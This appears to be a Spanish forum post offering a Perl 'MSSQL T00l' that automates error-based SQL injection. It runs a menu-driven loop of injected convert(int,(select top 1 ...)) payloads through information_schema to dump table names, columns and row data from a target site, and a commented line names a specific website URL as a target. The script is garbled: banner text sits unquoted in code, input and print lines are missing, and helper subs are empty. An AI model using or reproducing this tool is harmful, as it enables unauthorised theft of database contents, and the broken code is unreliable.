buscar tablas y columnas con information_schema en MSSQL
Tambien pueden sacar los valores que quieren de las columnas.
Código
#!usr/bin/perl #MSSQL T00l #(C) Doddy Hackman 2011 use LWP::UserAgent; use HTTP::Request::Common; my $nave = LWP::UserAgent->new(); $nave->timeout(13); $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); sub head { @@ @@ @@@@ @@@@ @@@ @@ @@@@@@ @@@ @@@ @@ @@@ @@@ @@ @ @@ @ @@@@@ @@ @@ @@@@@ @@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@@@@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ @@ @ @@ @@@@@ @@ @@ @@@@@ @@@@@ @@ @@ @@ @@ @@@@ @@@@ @@@@@ @@@@ @@ @@@ @@@ @@@@ ); } sub copyright { <stdin>; } repe(); sub repe { head(); $code = toma($page); if ($code=~/ODBC SQL Server Driver/ig or $code=~/Microsoft OLE DB Provider/ig) { } else { #copyright(); } menu: ################################## 1 - Dump tables 2 - Dump Columns of the a table 4 - Change target 5 - Exit ################################## ); if ($op eq 1) { mssql_tables($page); goto menu; } elsif ($op eq 2) { mssql_columns($page,$tab); goto menu; } elsif($op eq 3) { mssql_data($page,$tab,$col); goto menu; } elsif ($op eq 4) { repe(); } elsif ($op eq 5) { copyright(); } else { goto menu; } #@tables = mssql_tables("http://www.12manage.com/profile.asp?m=drarupbarman'","Users"); sub mssql_columns { ($pass1,$pass2) = bypass("--"); my $sir; for (1..666) { $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."column_name".$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name="."'".$_[1]."'".$pass1."and".$pass1."column_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2; $code = toma($_[0].$path); if ($code=~/value '(.*?)' to/ig) { $sir.= ",'".$1."'"; } else { last; } } } sub mssql_tables { ($pass1,$pass2) = bypass("--"); my $sir; for (1..666) { $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."table_name".$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2; #print "$path\n"; $code = toma($_[0].$path); if ($code=~/value '(.*?)' to/ig) { $sir.= ",'".$1."'"; } else { last; } } } sub mssql_data { ($pass1,$pass2) = bypass("--"); my $sir; for (1..666) { $path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1.$_[2].$pass1."from".$pass1.$_[1].$pass1."where".$pass1.$_[2].$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2; #print "$path\n"; $code = toma($_[0].$path); if ($code=~/value '(.*?)' to/ig) { $sir.= ",'".$1."'"; } else { last; } } } } sub bypass { sub toma { } # ¿ The End ?